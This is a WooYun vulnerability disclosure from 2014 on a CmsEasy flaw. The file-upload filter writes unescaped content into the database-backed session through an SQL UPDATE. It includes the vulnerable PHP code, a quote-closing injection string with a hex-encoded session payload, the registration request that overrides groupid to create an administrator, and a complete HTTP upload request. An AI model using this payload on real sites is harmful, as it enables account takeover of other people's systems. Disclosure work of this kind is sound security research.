当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(23) 关注此漏洞

缺陷编号: WooYun-2014-76542

漏洞标题: cmseasy 的一个高危漏洞(设计缺陷)

相关厂商: cmseasy

漏洞作者: Noxxx

提交时间: 2014-09-19 12:51

公开时间: 2014-12-18 12:52

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-19: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商已经确认,细节仅向厂商公开
2014-09-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-14: 细节向核心白帽子及相关领域专家公开
2014-11-24: 细节向普通白帽子公开
2014-12-04: 细节向实习白帽子公开
2014-12-18: 细节向公众公开

简要描述:

这个可以做比较多的事。

详细说明:

因为他的session的机制是从 【数据库中取出 存入的】,所以有个注入点就可以操控他的session了。

在 front_class.php 1509 - 1522行中



code 区域
class session {
static function get($key) {
if (isset($_SESSION[$key]))
return $_SESSION[$key];
else
return false;
}
static function set($key,$var) {
$_SESSION[$key]=$var;
}
static function del($key) {
unset($_SESSION[$key]);
}
}



session类,一些初级的操作。



构造函数中370行

code 区域
new stsession(new sessionox());



因为有__autoload所以会自动载入文件.





code 区域
final class stsession {
private $_path = null;
private $_name = null;
private $_db = null;
private $_ip = null;
private $_maxtime = 0;
private $_prefix = '';

public function __construct($db) {
session_set_save_handler(
array($this, 'open'),
array($this, 'close'),
array($this, 'read'),
array($this, 'write'),
array($this, 'destroy'),
array($this, 'gc')
);
//var_dump($db);
$this->_db = $db;
$this->_ip = $_SERVER['REMOTE_ADDR'];
$this->_maxtime = ini_get('session.gc_maxlifetime');
$config = config::get('database');
$this->_prefix = isset($config['prefix']) ? $config['prefix'] : '';
session_start();
$this->refresh(session_id());
}

public function open($path,$name) {
return true;
}

public function close(){
return true;
}

public function read($id)
{
$sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'";
//var_dump($sql);
$res = $this->_db->query($sql);
if (!$row = $this->_db->fetch_array($res)) {
return null;
} elseif ($this->_ip != $row['client_ip']) {
if(config::get('session_ip')){
return null;
}else{
return $row['data'];
}
} elseif ($row['update_time']+$this->_maxtime < time()){
$this->destroy($id);
return null;
} else {
return $row['data'];
}
}

public function write($id,$data) {
$sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'";
//var_dump($sql);
$res = $this->_db->query($sql);
$time = time();
$row = $this->_db->fetch_array($res);
if ($row) {
//if ($row['data'] != $data) {
$sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'";
$this->_db->query($sql);
//}
} else {
if (!empty($data)) {
$sql = "INSERT INTO {$this->_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this->_ip','$data')";
$this->_db->query($sql);
}
}
return true;
}

public function destroy($id) {
$sql = "DELETE FROM {$this->_prefix}sessionox WHERE PHPSESSID = '$id'";
//var_dump($sql);
$this->_db->query($sql);
return true;
}

public function refresh($id){
$time = time();
$sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time' WHERE PHPSESSID = '$id'";
//var_dump($sql);
$this->_db->query($sql);
$this->gc($this->_maxtime);
}

public function gc($maxtime){
$time = time() - $maxtime;
$sql = "DELETE FROM {$this->_prefix}sessionox WHERE update_time <= '$time'";
//var_dump($sql);
$this->_db->query($sql);
return true;
}
}



这个功能就是将session数据存储到数据库。



code 区域
open(string $savePath, string $sessionName)
open 回调函数类似于类的构造函数, 在会话打开的时候会被调用。 这是自动开始会话或者通过调用 session_start() 手动开始会话 之后第一个被调用的回调函数。 此回调函数操作成功返回 TRUE,反之返回 FALSE。

close()
close 回调函数类似于类的析构函数。 在 write 回调函数调用之后调用。 当调用 session_write_close() 函数之后,也会调用 close 回调函数。 此回调函数操作成功返回 TRUE,反之返回 FALSE。

read(string $sessionId)
如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。

在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。

read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。 请参考: session.serialize_handler。

write(string $sessionId, string $data)
在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。

序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时,所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。

PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意,在调用完此回调函数之后,PHP 内部会调用 close 回调函数。



可以参考官网给的解释。



在这个类的构造函数中

session_start();

就打开了session,所以会依次执行下面的open read write close

read返回的是 :参见上面的说明 和serialize() 函数很相似,但是不是相同的。



这里流程差不多说完了.

------------------------

下面就是漏洞的地方



在 tool_act.php 184行 uploadfile_action中



这是一个上传的功能 其中有这样一条代码

在200行

code 区域
if (!front::checkstr(@file_get_contents($file['tmp_name']))) {





checkstr函数 似乎是检查上传内容有没有一些危险代码吧。我们进去看看。



front_class.php 673行



code 区域
function checkstr($str) {
if (preg_match("/<(\/?)(script|i?frame|style|html|body|title|link|meta)([^>]*?)>/is",$str,$match)) { //检查有没有出现上面的代码,有的话就打印传给flash()函数。照样我们跟入。
front::flash(print_r($match,true));
return false;
}
if (preg_match("/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/is",$str,$match)) {
return false;
}
return true;
}





在573行

code 区域
static function flash($msg=null,$key='message') {
if (!isset($msg))
return self::showflash();
if (session::get($key))
$msg=session::get($key).' '.$msg;
session::set($key,$msg);//很明显是写入session中,会触发stsession 类中的write 写入到数据库里,但是呢_FILES是不受转义限制的,所以我们可以任意操作session
}







说明一下 write 流程是这样的 如果传入的 PHPSESSID 在表中没有记录的话就会插入一条记录

插入的

$sql = "INSERT INTO {$this->_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this->_ip','$data')";

这样的,不能任意操作data列的数据。列都定死了。

如果里面有记录的话就会update

UPDATE {$this->_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'";

我们可以闭合单引号,来达到任意写session数据的目的。

---------------------------------------------------

现在来闭合单引号 front::flash(print_r($match,true));



用了print_r把所有的结果全部打印出来传给flash



输入<script> 匹配的好几个结果.

code 区域
array(4) {
[0]=>
string(8) "<script>"
[1]=>
string(0) ""
[2]=>
string(6) "script"
[3]=>
string(0) ""
}



进入数据库是这样的(我这个是session表里已经有记录了的,没有记录的可以先请求一次<script>这个然后就有记录了。)因为他会把原先的数据会融合在一起的。

code 区域
UPDATE cmseasy_sessionox SET update_time='1411039331',data='message|s:146:"Array
(
[0] => <script>
[1] =>
[2] => script
[3] =>
)
Array
(
[0] => <script>
[1] =>
[2] => script
[3] =>
)
";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1'





我研究了一下了

<script*/',DATA=111, client_ip=/*>

这样就可以闭合单引号了。

sql日志:

code 区域
UPDATE cmseasy_sessionox SET update_time='1411039651',data='message|s:124:"Array
(
[0] => <script*/',DATA=111, client_ip=/*>
[1] =>
[2] => script
[3] => */',DATA=111, client_ip=/*
)
";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1'





现在我们只需要按照他的格式来写入DATA列里就可以了

他这个格式和 serialize相似



session的名字 |隔开 s 字符串 124长度 xxxx值 ;结束

message|s:4:"xxxx";

------------------



找了个地方可以直接注册管理员 或提升管理员 做个演示把。



在user_act.php respond_action函数中



code 区域
$data=array(
'username'=>$username,
'password'=>$password,
'groupid'=>101,
'userip'=>front::ip(),
$classname=>session::get('openid'),
);





这个$classname = front::$get['ologin_code']; 也就是等于 $_GET['ologin_code']

我们可以直接把 groupid这个数组覆盖掉 因为 session::get('openid')已经可以控制的。



【这里插一句,之前没发现这个漏洞的时候我看到这里 发现了这个问题,之前的想法是 把password覆盖掉,因为session::get('openid')值是空的,注册成功后 所以底下会有个setcookie的地方。password 会被加密掉 加密方式就是 md5($_password.config::get('cookie_password'))

这个 因为 我们的密码是空的 ,所以获得了 config::get('cookie_password')密码的md5值。

而这个 cookie安全码是这样获得 config::modify(array('cookie_password' => md5(rand() . time())));

rand+安装时间。测试了 在windows下rand()生成的数字是不大于32768的.(自己在kail下测试生成的数非常大。。。)但是这样前提是知道安装时间才行..暴力破解的话 (一秒钟就需要3万条。)数量太大了。寻找安装时间,只能通过保存快照的一些网站入手了,但是这个效果不理想.(得到cookie安全码就可以注射。)】



(ps 下这里下面还有个登录的地方也是可以的

code 区域
$post[$classname] = session::get('openid');
$this->_user->rec_update($post, 'userid=' . $row['userid']);





---------------------------------------------------------------------------





漏洞证明:

先让你的sessiono里有数据存入,我演示就用新的sessionid把



QQ截图20140918194222.jpg





数据库里已经有了



QQ截图20140918194329.jpg







然后在写入我们的session数据



openid|s:1:"2"; 转换成hex,好了提交成功了

code 区域
<script*/',DATA=0x6F70656E69647C733A313A2232223B, client_ip=/*>





er.jpg





然后我们在来注册。



(我先把我的新的session换上去)



cookie.jpg









**.**.**.**/cmseasy/index.php?case=user&act=respond&ologin_code=groupid



POST提交

regsubmit=1&username=test_Noxxx&password=test_Noxxx



提交了自动转跳了 ,



QQ截图20140918194857.jpg







看看数据库里

111111.jpg





好了 ,直接能登录后台



end.jpg





这个更改附件类型 应该可以直接上传php文件吧。



【附上POST包】:



code 区域
POST /cmseasy/index.php?case=tool&act=uploadfile&isdebug=1 HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 245
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: null
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQENA9lBHWS8l97FJ
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=q8v84kj42pnc0AAA624mf5bA

------WebKitFormBoundaryQENA9lBHWS8l97FJ
Content-Disposition: form-data; name="data"; filename="test.jpg"
Content-Type: image/jpeg

<script*/',DATA=0x6F70656E69647C733A313A2232223B, client_ip=/*>
------WebKitFormBoundaryQENA9lBHWS8l97FJ--





修复方案:

你们专业

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-20 07:48

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-10-10 09:45 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    2

    牛逼,拜读了..

  2. 2014-10-10 12:46 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    腻害。。

  3. 2014-10-18 13:08 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    牛逼,拜读了..

  4. 2014-12-21 22:54 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)
    1

    牛逼,拜读了

  5. 2015-05-18 11:31 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    牛逼,拜读了

登录后才能发表评论,请先 登录